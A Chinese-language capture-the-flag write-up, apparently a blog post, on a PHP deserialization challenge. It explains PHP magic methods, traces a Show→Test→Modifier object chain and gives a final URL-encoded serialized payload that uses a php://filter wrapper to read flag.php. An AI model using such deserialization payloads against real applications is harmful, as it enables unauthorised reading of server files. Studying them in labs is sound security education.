我还是太菜了呀。
题目给了源码
1 | <?php |
知识加固
__get()
是访问不存在的成员变量时调用的。__set()
是设置不存在的成员变量时调用的。
如:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20<?php
class Test{
public $c=0;
public $arr=array();
public function __set($x,$y){
echo $x . "\n";
echo $y . "\n";
$this->arr[$x]=$y;
}
public function __get($x){
echo "The value of $x is".$this->arr[$x];
}
}
$a = new Test;
$a->b = 1 ;//成员变量b不存在,所以会调用__set
$a->c = 2;//成员变量c存在,所以无任何输出
$d=$a->b;// 成员变量b不存在,所以会调用__get
?>__wakeup
使用反序列化函数时触发__toString
当一个对象被当作字符串对待的时候,会触发这个魔术方法。__invoke
当脚本尝试将对象调用为函数时触发。
解题思路
顺序思路
- 看到 Show->
__wakeup()
猜测是从这里入手,不然没地方可以触发它了。 - 然后我们preg_match使用的了
$this->source
如果我们将其设置为Show类,那么就可以调用Show ->__toString
函数。但然这里我们在__construnct
函数时传入一个Show类也是一样的效果。 __toString
函数中调用 str->source,如果此时我们将str赋值为Test类,而test类没有source这个变量所以调用__get函数。- 调用
__get
函数,如果p为Modifier类,就可以调用__invoke
函数了,而此时var变量为php伪协议就可以读取到源码了。
逆序思路
- 整体看一遍,危险函数include,我们需要利用的。需要利用就要调用
__invoke
函数。 - 而需要调用它只有Test类可以做到。且需要触发
__get
且把$p赋值为Modifier类。 - 要触发
__get
类,我们看到show类中的__toString
可以触发,且此时str等于Test类。 - 要触发
__toString
类,有2个方法。第一我们调用__construct
函数且传参一个Show类,第二我们直接利用__wakeup
且直接把str赋值为Show类。
payload
payload生成:
1 | <?php |
最后payload:
1 | ?pop=O%3A4%3A"Show"%3A2%3A{s%3A6%3A"source"%3BO%3A4%3A"Show"%3A2%3A{s%3A6%3A"source"%3Bs%3A3%3A"aaa"%3Bs%3A3%3A"str"%3BO%3A4%3A"Test"%3A1%3A{s%3A1%3A"p"%3BO%3A8%3A"Modifier"%3A1%3A{s%3A6%3A"%00*%00var"%3Bs%3A52%3A"php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Dflag.php"%3B}}}s%3A3%3A"str"%3BN%3B} |